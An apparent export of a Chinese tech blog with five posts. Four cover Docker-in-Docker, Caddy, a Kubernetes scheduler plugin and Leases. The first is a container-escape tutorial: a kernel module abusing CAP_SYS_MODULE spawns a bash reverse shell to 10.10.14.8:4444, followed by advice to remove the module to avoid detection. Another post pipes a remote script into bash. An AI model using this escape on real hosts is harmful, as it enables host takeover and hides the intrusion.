[{"content":"Docker 容器越狱：利用内核模块注入启动反向 Shell 引言 Docker提供了一个轻量级、可移植的虚拟化环境，让应用程序可以隔离运行。但Docker 容器并非完全安全，特别是在容器与宿主机之间存在一定的隔离漏洞时。Docker 容器越狱，指的是通过利用容器中的漏洞突破容器的安全限制，进而获取对宿主机的访问权限。这篇文章将深入探讨如何通过内核模块注入的方式，启动一个反向 Shell，以突破 Docker 容器的安全限制，并讲解这一过程的各个步骤。\n容器特权与安全漏洞 Docker 容器提供了一个隔离的环境，使得应用程序和宿主机之间的交互受到严格限制。然而，这种隔离并不是万无一失的。容器越狱通常依赖于容器中所拥有的特权权限，例如 CAP_SYS_MODULE 权限。如果容器内的进程具有加载和卸载内核模块的能力，攻击者可以利用这一点来实现越狱。\n根据 Panoptica 的研究，有多种方式可以利用容器特权进行攻击。其中之一就是通过注入内核模块来创建反向 Shell，绕过容器的安全限制，获得宿主机的控制权限。\n利用 CAP_SYS_MODULE 权限 首先，确认容器是否拥有 CAP_SYS_MODULE 权限，这个权限允许进程加载和卸载内核模块。可以使用以下命令查看容器的权限：\ncapsh --print # 示例输出如下 root@216ef70c252b:/# capsh --print Current: =ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,cap_perfmon,cap_bpf,cap_checkpoint_restore Ambient set = Current IAB: Securebits: 00/0x0/1\u0026#39;b0 (no-new-privs=0) secure-noroot: no (unlocked) secure-no-suid-fixup: no (unlocked) secure-keep-caps: no (unlocked) secure-no-ambient-raise: no (unlocked) uid=0(root) euid=0(root) gid=0(root) groups=0(root) Guessed mode: HYBRID (4) 如果capsh不存在可以参考command-not-found安装\n容器环境配置 在开始进行内核模块注入之前，我们需要在容器内安装一些必要的工具和内核头文件。这些工具有助于我们编译内核模块并成功注入。执行以下命令来安装必要的工具：\napt install -y kmod net-tools gcc netcat vim make 此外，还需要安装内核头文件，以便编译内核模块：\napt install -y linux-headers-$(uname -r) 如果 apt 无法找到适合的内核头文件，可以通过手动搜索并下载适合的 .deb 包，使用 dpkg 命令进行安装。\n反向 Shell 编写与内核模块注入 接下来，我们需要编写一个内核模块，它将启动一个反向 Shell。以下是编写内核模块的步骤：\n编写 Makefile 创建一个 Makefile 文件，以便编译内核模块：\nobj-m += reverse-shell.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 编写反向 Shell C 代码 创建一个 reverse-shell.c 文件，其中包含反向 Shell 的代码：\n#include \u0026lt;linux/kmod.h\u0026gt; #include \u0026lt;linux/module.h\u0026gt; MODULE_LICENSE(\u0026#34;GPL\u0026#34;); MODULE_AUTHOR(\u0026#34;AttackDefense\u0026#34;); MODULE_DESCRIPTION(\u0026#34;LKM reverse shell module\u0026#34;); MODULE_VERSION(\u0026#34;1.0\u0026#34;); # 修改10.10.14.8为容器地址， char* argv[] = {\u0026#34;/bin/bash\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.8/4444 0\u0026gt;\u0026amp;1\u0026#34;, NULL}; static char* envp[] = {\u0026#34;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0026#34;, NULL}; // call_usermodehelper function is used to create user mode processes from kernel space static int __init reverse_shell_init(void) { return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); } static void __exit reverse_shell_exit(void) { printk(KERN_INFO \u0026#34;Exiting\\n\u0026#34;); } module_init(reverse_shell_init); module_exit(reverse_shell_exit); 此代码会启动一个反向 Shell，将连接发送到攻击者的 IP 地址（修改为实际的 IP 地址）。\nbash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.8/4444 0\u0026gt;\u0026amp;1 命令创建了一个bash，并将输入输出重定向到tcp://10.10.14.8:4444(容器端口)\n监听与反向连接 在容器中，首先启动监听进程，监听反向 Shell 的连接：\n# 监听 4444 端口 nc -lnvp 4444 \u0026amp; 然后，编译并注入内核模块：\nmake insmod reverse-shell.ko 此时，容器将尝试与攻击者的机器建立连接，反向 Shell 被启动。可以通过以下命令查看后台的 nc 进程：\njobs 重新将 nc 进程带回前台，以获取反向 Shell：\nfg \u0026lt;id\u0026gt; 恢复与清理 如果操作成功，反向 Shell 就已启动并与攻击者的机器建立了连接。此时，为了避免被检测到，您可能需要清理痕迹，移除内核模块：\n# 移除内核模块 rmmod reverse-shell 总结 通过以上步骤，我们展示了如何利用 Docker 容器中的 CAP_SYS_MODULE 权限，通过内核模块注入的方式启动一个反向 Shell。\n在实际应用中，要尽量避免授予不必要的特权。\n在上一篇博客中提到了Docker in Docker技术，要求容器一定要具有特权，对此有2种方法\n在Docker容器外再套一层虚拟机，就算恶意用户越狱也无法跳出虚拟机限制 替换更安装的运行时，如sysbox 附录 7种利用容器特权的攻击 ctf笔记，包含非常多的进攻方法 ","date":"2025-01-28T20:38:05+08:00","image":"https://de24a7e1.blog-hugo-1w8.pages.dev/p/fa8f1274/top_hu_5f6561f29738a654.webp","permalink":"https://de24a7e1.blog-hugo-1w8.pages.dev/p/fa8f1274/","title":"Docker Hack"},{"content":"dind(docker in docker) 什么是 Docker in Docker Docker in Docker（DIND）是一种在 Docker 容器中运行 Docker 引擎的方法。这种方法常用于测试、CI/CD 和开发环境中，以便在隔离的环境中运行 Docker 容器。例如，使用 Docker 容器来创建和管理其他容器，而无需直接依赖宿主机上的 Docker 引擎。\n应用场景：\nCI/CD：在持续集成（CI）和持续部署（CD）过程中，您可能需要构建 Docker 镜像，并将其推送到 Docker 注册中心。在这种情况下，可以使用 Docker in Docker 来在容器中运行 Docker 构建任务。 测试和开发：开发人员可以在容器内运行 Docker，以测试和开发涉及多个容器的应用程序。 资源隔离：通过在容器内运行 Docker，能够提供与宿主机隔离的资源和环境，避免与宿主主机上的其他进程或容器发生冲突。 在容器内运行 Docker 引擎需要容器拥有较高的权限。通常，Docker 容器默认是以非特权模式运行的，这意味着它们无法访问宿主机的某些资源和功能。为了能够在容器内运行 Docker，必须给容器授予特权模式（--privileged），允许容器访问宿主机的所有设备、特权操作和内核功能。\n启动docker in docker 在容器内运行docker，需要主机具有特权\n准备所需的文件 dind-init.sh 该脚本是从github codespace中获取的，脚本主要包括清理旧的 PID 文件、挂载所需的文件系统、启用 cgroup 嵌套、配置 DNS、启动 Docker 守护进程。其中嵌套了dind脚本（一个由社区维护的docker in docker 配置脚本）\nhttps://github.com/moby/moby/blob/master/hack/dind\n#!/bin/sh #---------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See https://go.microsoft.com/fwlink/?linkid=2090316 for license information. #---------------------------------------------------------------------------------------------- set -e AZURE_DNS_AUTO_DETECTION=false DOCKER_DEFAULT_ADDRESS_POOL= DOCKER_DEFAULT_IP6_TABLES= dockerd_start=\u0026#34;AZURE_DNS_AUTO_DETECTION=${AZURE_DNS_AUTO_DETECTION} DOCKER_DEFAULT_ADDRESS_POOL=${DOCKER_DEFAULT_ADDRESS_POOL} DOCKER_DEFAULT_IP6_TABLES=${DOCKER_DEFAULT_IP6_TABLES} $(cat \u0026lt;\u0026lt; \u0026#39;INNEREOF\u0026#39; # explicitly remove dockerd and containerd PID file to ensure that it can start properly if it was stopped uncleanly find /run /var/run -iname \u0026#39;docker*.pid\u0026#39; -delete || : find /run /var/run -iname \u0026#39;container*.pid\u0026#39; -delete || : # -- Start: dind wrapper script -- # Maintained: https://github.com/moby/moby/blob/master/hack/dind export container=docker if [ -d /sys/kernel/security ] \u0026amp;\u0026amp; ! mountpoint -q /sys/kernel/security; then mount -t securityfs none /sys/kernel/security || { echo \u0026gt;\u0026amp;2 \u0026#39;Could not mount /sys/kernel/security.\u0026#39; echo \u0026gt;\u0026amp;2 \u0026#39;AppArmor detection and --privileged mode might break.\u0026#39; } fi # Mount /tmp (conditionally) if ! mountpoint -q /tmp; then mount -t tmpfs none /tmp fi set_cgroup_nesting() { # cgroup v2: enable nesting if [ -f /sys/fs/cgroup/cgroup.controllers ]; then # move the processes from the root group to the /init group, # otherwise writing subtree_control fails with EBUSY. # An error during moving non-existent process (i.e., \u0026#34;cat\u0026#34;) is ignored. mkdir -p /sys/fs/cgroup/init xargs -rn1 \u0026lt; /sys/fs/cgroup/cgroup.procs \u0026gt; /sys/fs/cgroup/init/cgroup.procs || : # enable controllers sed -e \u0026#39;s/ / +/g\u0026#39; -e \u0026#39;s/^/+/\u0026#39; \u0026lt; /sys/fs/cgroup/cgroup.controllers \\ \u0026gt; /sys/fs/cgroup/cgroup.subtree_control fi } # Set cgroup nesting, retrying if necessary retry_cgroup_nesting=0 until [ \u0026#34;${retry_cgroup_nesting}\u0026#34; -eq \u0026#34;5\u0026#34; ]; do set +e set_cgroup_nesting if [ $? -ne 0 ]; then echo \u0026#34;(*) cgroup v2: Failed to enable nesting, retrying...\u0026#34; else break fi retry_cgroup_nesting=`expr $retry_cgroup_nesting + 1` set -e done # -- End: dind wrapper script -- # Handle DNS set +e cat /etc/resolv.conf | grep -i \u0026#39;internal.cloudapp.net\u0026#39; \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 if [ $? -eq 0 ] \u0026amp;\u0026amp; [ \u0026#34;${AZURE_DNS_AUTO_DETECTION}\u0026#34; = \u0026#34;true\u0026#34; ] then echo \u0026#34;Setting dockerd Azure DNS.\u0026#34; CUSTOMDNS=\u0026#34;--dns 168.63.129.16\u0026#34; else echo \u0026#34;Not setting dockerd DNS manually.\u0026#34; CUSTOMDNS=\u0026#34;\u0026#34; fi set -e if [ -z \u0026#34;$DOCKER_DEFAULT_ADDRESS_POOL\u0026#34; ] then DEFAULT_ADDRESS_POOL=\u0026#34;\u0026#34; else DEFAULT_ADDRESS_POOL=\u0026#34;--default-address-pool $DOCKER_DEFAULT_ADDRESS_POOL\u0026#34; fi # Start docker/moby engine ( dockerd $CUSTOMDNS $DEFAULT_ADDRESS_POOL $DOCKER_DEFAULT_IP6_TABLES \u0026gt; /tmp/dockerd.log 2\u0026gt;\u0026amp;1 ) \u0026amp; INNEREOF )\u0026#34; sudo_if() { COMMAND=\u0026#34;$*\u0026#34; if [ \u0026#34;$(id -u)\u0026#34; -ne 0 ]; then sudo $COMMAND else $COMMAND fi } retry_docker_start_count=0 docker_ok=\u0026#34;false\u0026#34; until [ \u0026#34;${docker_ok}\u0026#34; = \u0026#34;true\u0026#34; ] || [ \u0026#34;${retry_docker_start_count}\u0026#34; -eq \u0026#34;5\u0026#34; ]; do # Start using sudo if not invoked as root if [ \u0026#34;$(id -u)\u0026#34; -ne 0 ]; then sudo /bin/sh -c \u0026#34;${dockerd_start}\u0026#34; else eval \u0026#34;${dockerd_start}\u0026#34; fi retry_count=0 until [ \u0026#34;${docker_ok}\u0026#34; = \u0026#34;true\u0026#34; ] || [ \u0026#34;${retry_count}\u0026#34; -eq \u0026#34;5\u0026#34; ]; do sleep 1s set +e docker info \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 \u0026amp;\u0026amp; docker_ok=\u0026#34;true\u0026#34; set -e retry_count=`expr $retry_count + 1` done if [ \u0026#34;${docker_ok}\u0026#34; != \u0026#34;true\u0026#34; ] \u0026amp;\u0026amp; [ \u0026#34;${retry_docker_start_count}\u0026#34; != \u0026#34;4\u0026#34; ]; then echo \u0026#34;(*) Failed to start docker, retrying...\u0026#34; set +e sudo_if pkill dockerd sudo_if pkill containerd set -e fi retry_docker_start_count=`expr $retry_docker_start_count + 1` done # Execute whatever commands were passed in (if any). This allows us # to set this script to ENTRYPOINT while still executing the default CMD. exec \u0026#34;$@\u0026#34; 启动一个容器 以特权模式启动容器，并挂载我们准备的目录\n以特权模式启动一个容器\ndocker run -it --rm --privileged -v $(pwd)/dind-init.sh:/tmp/dind-init.sh --dns 8.8.8.8 ubuntu bash 安装 dockerd\napt update \u0026amp;\u0026amp; apt install -y curl curl -fsSL https://get.docker.com -o get-docker.sh sh get-docker.sh --mirror Aliyun 如果在访问软件源时存在网络问题，可以先进行换源\nbash \u0026lt;(curl -sSL https://linuxmirrors.cn/main.sh) 执行dind-init.sh脚本\nchmod +x /tmp/dind-init.sh /tmp/dind-init.sh 测试dind正常运行\ndocekr ps docker run -it --rm busybox curl example.com 潜在问题 性能开销 DIND 的一种常见问题是性能开销。由于 Docker 守护进程需要在容器内运行，且容器要访问宿主机的资源，可能会导致一定的性能下降。在 CI/CD 或测试环境中使用时，可能会影响构建速度。\n权限问题 由于 Docker 守护进程需要访问宿主机的内核功能和设备（如挂载的 Docker socket 和网络设置），因此必须以特权模式运行容器。如果不使用 --privileged 参数，Docker 将无法正常工作。但是特权容器容易被恶意攻击，导致宿主机被恶意访问。\n附录 封面由DALL生成，提示词如下：\nA digital artwork of a large Docker whale, symbolizing the main Docker container, with a smaller Docker whale inside it, representing a containerized environment. The large whale has a playful, dynamic appearance with the smaller whale comfortably inside its body, showing the concept of Docker in Docker. The background features a soft, tech-inspired blue with abstract shapes resembling a cloud or network. The image should have a clean and minimalistic design with a high-tech, modern look. Lighting should highlight the whales, creating depth and focus. Created using: digital painting, soft gradients, high-definition quality, natural look, modern tech style, soft shadows, vivid colors, and sleek lines --ar 16:9 ","date":"2025-01-27T21:00:44+08:00","image":"https://de24a7e1.blog-hugo-1w8.pages.dev/p/a5d82352/top_hu_dc7948cd6758edfc.webp","permalink":"https://de24a7e1.blog-hugo-1w8.pages.dev/p/a5d82352/","title":"在Docker容器中运行Docker"},{"content":"引言 什么是 Caddy？ Caddy 是一款开源的现代化 Web 服务器，具有自动 HTTPS 配置、内建反向代理、负载均衡、以及简洁的配置文件等特点。Caddy 比较特别的是，它可以自动获取和更新 SSL/TLS 证书，用户不需要手动配置 SSL/TLS，且支持多种 DNS 提供商的 API 集成，如阿里云和 Cloudflare。\n前置条件 一个域名，并且将dns解析配置在阿里云或者cloudflare中（其他云厂商也可以，但是需要自行配置caddy）\n一个或多个需要暴露的服务（例如 alist自建网盘、博客、nas管理页面 等）\n已经安装了docker\n对于大多数操作系统，都可以用官方提供的脚本安装docker\ncurl -fsSL https://get.docker.com -o get-docker.sh sh get-docker.sh --version 20.10 --mirror Aliyun 准备云服务商token 阿里云\n参照官方文档获取AccessKey cloudflare\n参照官方文档获取token 在创建令牌时使用“编辑区域 DNS”模板\n启动caddy caddy对于阿里云或者cloudflare访问的兼容性依赖插件，如果在docker中使用，需要使用docker重新构建caddy以包含我们需要的插件，更多详情可以查看caddy docker文档。\n方便起见可以直接使用我打好的镜像registry.cn-hangzhou.aliyuncs.com/adpc/caddy:2.9.1-dns(2.9.1版本、支持x86和arm64架构)，如果需要其他版本，可以使用如下的dockerfile自行构建，docker buildx build --platform=linux/amd64,linux/arm64 -t caddy:2.9.1-dns -f caddy.dockerfile -o type=registry .\nFROM caddy:2.9.1-builder AS builder RUN go env -w GOPROXY=https://mirrors.aliyun.com/goproxy/,direct RUN xcaddy build \\ --with github.com/caddy-dns/alidns \\ --with github.com/caddy-dns/cloudflare FROM caddy:2.9.1 COPY --from=builder /usr/bin/caddy /usr/bin/caddy 编写caddyfile caddyfile类似nginx的配置，但是更简单，详见官方文档，示例配置\n{ # 设置 HTTP 和 HTTPS 端口 http_port 8080 https_port 8443 } tool.vinf.top { # 使用cloudflare DNS API 获取证书 tls { dns cloudflare {env.CF_API_TOKEN} } # 反向代理到名为it-tools的Docker容器内服务 reverse_proxy it-tools:80 } # 多个服务 用域名区分 music.vinf.top { # 使用阿里云 DNS API 获取证书 tls { dns alidns { access_key_id {env.ALIYUN_ACCESS_KEY_ID} access_key_secret {env.ALIYUN_ACCESS_KEY_SECRET} } } # 反向代理到 主机的8000端口 服务 # 其中host.docker.internal是主机在容器中的dns reverse_proxy host.docker.internal:8000 } 网络 容器之间访问 如果使用docker run -d --name nginx nginx:latest命令，启动一个nginx容器，docker默认会将容器连接到brige网络。\n使用docker network ls可以看到如下内容。\nNETWORK ID NAME DRIVER SCOPE 3f8c43283486 bridge bridge local b1784a11c007 host host local aa57c193cefa none null local 对于连接到同一个bridge网络的容器，容器之间可以直接使用ip访问。\n如果使用的是自定义网络，还可以使用容器名作为dns访问容器。详见docker network dns。示例：\n# 创建网络 docker network create \u0026lt;network-name\u0026gt; # 使用该网络创建容器 docker run --net=\u0026lt;network-name\u0026gt; --name=\u0026lt;container-name\u0026gt; ... # 或者将该网络连接到一个已经存在的容器 docker network connect \u0026lt;network-name\u0026gt; \u0026lt;container-name\u0026gt; # 测试，使用容器名 ping docker exec -it \u0026lt;container-name-A\u0026gt; ping \u0026lt;container-name-B\u0026gt; 如此一来我们就能在caddy容器中，使用容器名称直接访问容器，而不用担心容器重新创建时ip变动的问题。\n容器访问主机 在容器内部使用127.0.0.1并不能访问到主机的服务（除非使用host网络），在使用bridge网络时，我们可以通过网桥的网关访问到主机的服务\ndocker network inspect \u0026lt;network-name\u0026gt; | grep Gateway # 返回 \u0026#34;Gateway\u0026#34;: \u0026#34;172.18.0.1\u0026#34; # 此时我们在容器中curl 172.18.0.1:8000 发现能通 为了使用更方便，我们可以在容器启动时添加--add-host=host.docker.internal:host-gateway参数，docker会自动将主机ip和host.docker.internal写入到hosts文件中，后续我们可以通过host.docker.internal访问主机\n运行caddy # 创建一个bridge网络，用来运行服务 docker network create service-net # 阿里云使用以下命令运行caddy docker run -d --name caddy --restart unless-stopped \\ --network service-net --add-host=host.docker.internal:host-gateway -p 8080:8080 \\ -p 8443:8443 \\ -v $(pwd)/Caddyfile:/etc/caddy/Caddyfile \\ -v $(pwd)/data:/data \\ -v $(pwd)/config:/config \\ -e ALIYUN_ACCESS_KEY_ID=填写你的ACCESS_KEY \\ -e ALIYUN_ACCESS_KEY_SECRET=填写你的ACCESS_KEY_SECRET \\ registry.cn-hangzhou.aliyuncs.com/adpc/caddy:2.9.1-dns # cloudflare docker run -d --name caddy --restart unless-stopped \\ --network service-net --add-host=host.docker.internal:host-gateway -p 8080:8080 \\ -p 8443:8443 \\ -v $(pwd)/Caddyfile:/etc/caddy/Caddyfile \\ -v $(pwd)/data:/data \\ -v $(pwd)/config:/config \\ -e CF_API_TOKEN=填写你的cloudflare token \\ registry.cn-hangzhou.aliyuncs.com/adpc/caddy:2.9.1-dns ","date":"2025-01-20T11:11:17+08:00","image":"https://de24a7e1.blog-hugo-1w8.pages.dev/p/eabfd752/caddy-docker_hu_a5c9e783b840a385.webp","permalink":"https://de24a7e1.blog-hugo-1w8.pages.dev/p/eabfd752/","title":"使用caddy通过https代理docker服务"},{"content":"引言 在Kubernetes的官方文档介绍中，有2种方法可以实现对原生调度器的扩展\nscheduling-framework：直接编写一个完整的调度器，并替换原生的调度器，即使用scheduling-framework，在原生的调度器代码中，使用调度框架接入自定义的插件实现调度器扩展。 scheduler extender：原生的调度器支持以Webhook的方式使用HTTP请求来连接到额外的调度器扩展，但是这种方式只支持过滤和优先排序阶段，某些调度方法无法实现（比如gang调度）。 优点 缺点 scheduling-framework 性能好：由于插件与调度器一同编译，调度器以程序内部函数的方式直接调用插件，性能很好。扩展性好：支持更多的扩展点，可以实现更复杂的逻辑。 兼容性：不同的集群版本需要重新编译代码 scheduler extender 实现简单：不需要重新编译调度器，只需创建一个HTTP服务，实现调度逻辑即可。 性能差：调度请求需要经过 HTTP 调用，增加了调度延迟，且不能复用调度器内部的缓存，需要重新维护本地缓存，有资源浪费。 binpack调度算法 Binpack 算法的核心目标是尽可能将已有节点填满，避免将工作负载分散到空闲节点上。这种调度策略有助于将应用负载聚集到部分节点上，从而便于集群自动扩缩容的管理。为类似GPU算力这样的稀缺资源进行binpack调度策略，可以减少GPU资源碎片化，提示资源利用率。具体实现上，Binpack 算法会对每个可用节点打分，节点得分越高表示其资源利用率越高，从而优先选择这些节点进行 Pod 调度。\n在 Kubernetes 原生调度器扩展中，Binpack 调度算法以插件的形式注入到调度流程中，主要应用于节点打分阶段。在调度过程中，插件会考虑节点的剩余资源，并根据配置的各资源权重计算节点得分。\n以下图为例，有4个节点，每个节点可用的资源（例如GPU卡）分别为2、3、5、1。在筛选阶段，节点4就会被淘汰，随后进入我们的打分插件为节点进行打分，并规整到调度器的标准分数范围0-100，最后节点1得分最高胜出。\nscheduling-framework 调度器在进行 “Pod 调度” 时会依次经历多个环节，例如：\nQueueSort：给待调度 Pod 排队； Filter：筛掉不符合要求的节点； Score：对剩余可调度节点打分； Reserve：保留资源； Permit：自定义准入控制； Bind：最终在节点上创建 Pod； 其它扩展点：Prefilter、PostFilter、PostBind … 我们可以选择在任何环节注入自定义插件，以达到定制化调度策略的目的。\n对于binpack调度只需要在Score阶段引入插件即可实现。\n代码解析 演示的代码在scheduler-plugins-binpack仓库的plugin/binpack分支下，该分支基于release-1.23分支切出，只支持k8s 1.23版本。\npackage binpack import ( \u0026#34;context\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;math\u0026#34; \u0026#34;k8s.io/api/core/v1\u0026#34; \u0026#34;k8s.io/apimachinery/pkg/runtime\u0026#34; \u0026#34;k8s.io/klog/v2\u0026#34; \u0026#34;k8s.io/kubernetes/pkg/scheduler/framework\u0026#34; ) type BinPack struct { handle framework.Handle } // 确保 BinPack 实现了 framework.ScorePlugin 的接口 var _ = framework.ScorePlugin(\u0026amp;BinPack{}) // Name is the name of the plugin used in the Registry and configurations. const Name = \u0026#34;Binpack\u0026#34; func (bp *BinPack) Name() string { return Name } // Score 插件的核心，给每个节点打分 func (bp *BinPack) Score(ctx context.Context, state *framework.CycleState, pod *v1.Pod, nodeName string) (int64, *framework.Status) { // 通过 handle 可以获取当前节点的快照信息 nodeInfo, err := bp.handle.SnapshotSharedLister().NodeInfos().Get(nodeName) if err != nil { return 0, framework.NewStatus(framework.Error, fmt.Sprintf(\u0026#34;getting node %q from Snapshot: %v\u0026#34;, nodeName, err)) } // 根据节点剩余 CPU 进行打分 return bp.score(nodeInfo) } // score 函数，根据剩余 CPU 得到“反向得分” func (bp *BinPack) score(nodeInfo *framework.NodeInfo) (int64, *framework.Status) { // 剩余可分配 = 可分配CPU - 已分配CPU rest := nodeInfo.Allocatable.MilliCPU - nodeInfo.Requested.MilliCPU // 将分数设为 -rest，剩余越多，分数越低 score := -rest klog.Infof(\u0026#34;node %s get score %d\u0026#34;, nodeInfo.Node().Name, score) return score, nil } // ScoreExtensions 返回一个实现了 NormalizeScore 的对象 func (bp *BinPack) ScoreExtensions() framework.ScoreExtensions { return bp } // NormalizeScore 将各节点的原始分数映射到 [0,100] 区间 func (bp *BinPack) NormalizeScore(ctx context.Context, state *framework.CycleState, p *v1.Pod, scores framework.NodeScoreList) *framework.Status { // 找到最高和最低分 var highest int64 = math.MinInt64 var lowest int64 = math.MaxInt64 for _, nodeScore := range scores { if nodeScore.Score \u0026gt; highest { highest = nodeScore.Score } if nodeScore.Score \u0026lt; lowest { lowest = nodeScore.Score } } // oldRange = 原始分数范围 oldRange := highest - lowest // newRange = 框架允许的分数范围 newRange := framework.MaxNodeScore - framework.MinNodeScore // 将所有节点 score 映射到 [MinNodeScore, MaxNodeScore] for i, nodeScore := range scores { if oldRange == 0 { // 如果所有节点分数都相同，就给一个默认分数 scores[i].Score = framework.MaxNodeScore } else { scores[i].Score = ((nodeScore.Score - lowest) * newRange / oldRange) + framework.MinNodeScore } } return nil } // New 用于在插件工厂中创建 BinPack 实例 func New(args runtime.Object, h framework.Handle) (framework.Plugin, error) { return \u0026amp;BinPack{ handle: h, }, nil } Score\n获取节点信息 nodeInfo，拿到剩余 CPU rest 令 score = -rest。这样剩余资源越多，得分越小，越不优先。 NormalizeScore\n找到所有节点中最高与最低原始分数。 按照 线性插值 的方法，将 [lowest, highest] 区间映射到 [0, 100] 区间。 随后在cmd/scheduler/main.go中接入插件\nfunc main() { // Register custom plugins to the scheduler framework. // Later they can consist of scheduler profile(s) and hence // used by various kinds of workloads. command := app.NewSchedulerCommand( //...... app.WithPlugin(binpack.Name, binpack.New), ) code := cli.Run(command) os.Exit(code) } 构建镜像 进入项目目录\n执行make local-image\ntag并push localhost:5000/scheduler-plugins/kube-scheduler:latest 镜像（可选）\n部署 以下步骤使用kind环境进行演示\n导入调度器镜像 kind load docker-image localhost:5000/scheduler-plugins/kube-scheduler:latest 进入控制集群机器 docker exec -it $(docker ps | grep control-plane | awk \u0026#39;{print $1}\u0026#39;) bash 备份kube-scheduler cp /etc/kubernetes/manifests/kube-scheduler.yaml /etc/kubernetes/kube-scheduler.yaml 创建/etc/kubernetes/sched-cc.yaml文件，在配置文件中启用Binpack插件 apiVersion: kubescheduler.config.k8s.io/v1beta3 kind: KubeSchedulerConfiguration leaderElection: # (Optional) Change true to false if you are not running a HA control-plane. leaderElect: false clientConnection: kubeconfig: /etc/kubernetes/scheduler.conf profiles: - schedulerName: default-scheduler plugins: score: enabled: - name: Binpack 修改调度器配置/etc/kubernetes/manifests/kube-scheduler.yaml，在其中挂载新的调度器配置，并在flag中引入配置，同时修改镜像为包含Binpack调度器插件的镜像 16d15 + - --config=/etc/kubernetes/sched-cc.yaml 17a17,18 - - --kubeconfig=/etc/kubernetes/scheduler.conf - - --leader-elect=true 19,20c20 + image: localhost:5000/scheduler-plugins/kube-scheduler:latest --- - image: registry.k8s.io/kube-scheduler:v1.23.0 50,52d49 + - mountPath: /etc/kubernetes/sched-cc.yaml + name: sched-cc + readOnly: true 60,63d56 + - hostPath: + path: /etc/kubernetes/sched-cc.yaml + type: FileOrCreate + name: sched-cc 配置修改后，集群中的kube-scheduler会自行重启 详细流程可以参考：https://github.com/kubernetes-sigs/scheduler-plugins/blob/master/doc/install.md#as-a-single-scheduler-replacing-the-vanilla-default-scheduler\n运行示例：\n总结 在本文中，我们比较了两种 Kubernetes 调度器扩展方式：Scheduling Framework 和 Scheduler Extender。\nScheduling Framework 插件直接与调度器进程内的生命周期钩子结合，无需额外的 HTTP 通信，性能好、扩展点多，适合对 Kubernetes 版本有可控的场景。 Scheduler Extender 无需重编译调度器，仅以 HTTP 请求的方式进行 Filter、Prioritize 扩展，部署更为灵活，但性能和可扩展性相对受限。 此外，我们通过一个 Binpack 算法 的示例（Score Plugin 形式）说明了如何在 Scheduling Framework 中注入“资源打包”逻辑，使调度器倾向于将工作负载集中到已有使用率较高的节点，从而减少资源碎片、提高资源利用率。该插件主要包含两个核心点：\nScore：基于“剩余资源越少，分数越高”的思路； NormalizeScore：将原始分数映射到调度框架所需的 0,1000, 1000,100 区间。 在实际应用中，类似 GPU 等稀缺资源的 Binpack 策略更具价值，可避免 GPU 过度分散和浪费。 若想进一步扩展，可结合 Prefilter、Filter、Reserve、Permit、Bind 等更多调度阶段，打造更复杂的调度场景。\n附录 Kubernetes 调度框架和扩展器的比较 官方scheduler-plugins示例，更多复杂的调度实现可以参考 ","date":"2025-01-03T14:54:14+08:00","image":"https://de24a7e1.blog-hugo-1w8.pages.dev/p/2adc04af/top_hu_d2aba1617e0ad8bc.webp","permalink":"https://de24a7e1.blog-hugo-1w8.pages.dev/p/2adc04af/","title":"Kubernetes调度器扩展"},{"content":"租约（Lease） Kubernetes 的 Lease 资源是一种轻量级的机制，用于在集群中的各个节点之间进行领导者选举或协调访问共享资源。它属于 coordination.k8s.io API 组，主要用于在多个客户端之间同步状态，确保只有一个客户端（或节点）在特定时间内承担某个任务或控制特定资源。\n官方文档中提及的Lease用途包括\n节点心跳：对于每个node都有对应的Lease资源，节点心跳定期更新Leasespec.renewTime 字段Kubernetes 控制平面使用此字段的时间戳来确定此 node 的可用性。 领导者选举：Lease 资源常用于 Kubernetes 控制平面组件的领导者选举，例如 kube-scheduler 或 kube-controller-manager。这些组件使用 Lease 来确保集群中只有一个活跃的领导者实例在执行任务。通过 Lease 机制，当当前领导者因为故障或其他原因失去活跃状态时，另一个实例可以接管成为新的领导者。 API 服务器身份：从 Kubernetes v1.26 开始，每个 kube-apiserver 都使用 Lease API 将其身份发布到系统中的其他位置。 工作负载：开发者可以定义自己使用的Lease，进而使用 Kubernetes API 进行多实例程序的协调。 Kubernetes资源并发控制 当两个客户端使用 Kubernetes API 同时尝试更新同一个资源对象时，Kubernetes API 服务器使用乐观锁机制来处理这种并发更新。这个机制确保了资源更新的一致性和完整性。\n资源版本控制 每个 Kubernetes 资源都有一个 resourceVersion 字段，这是一个在每次资源被修改时自动递增的版本号。客户端在发送更新请求时会包括这个版本号。\n乐观锁 Kubernetes 使用乐观锁来处理资源的并发更新。当一个客户端尝试更新资源时，它必须提供它所基于的资源的当前版本号。这个版本号随请求一起发送给 API 服务器。\n更新处理流程 成功情况：如果提供的版本号与服务器上当前资源的版本号一致，API 服务器接受更新，应用更改，并将资源的版本号递增。 冲突情况：如果提供的版本号与服务器上的版本号不匹配（说明在客户端读取资源后和发送更新请求之间，资源已被另一个客户端更改），API 服务器将拒绝请求并返回一个冲突错误（ HTTP 409 Conflict）。这时，客户端通常需要重新获取最新的资源版本，重新应用其更改，并再次尝试更新。 leader election client-go提供了leader election的简单示例。基本原理如下图：\n多实例启动。 所有实例尝试获取到租期锁，但只有一个实例会成功获取锁，成为领导者。 领导者定时更新租期到期时间，同时其他实例定时轮询租期到期时间，若发现租期已到期则会发生领导权转移。 运行示例 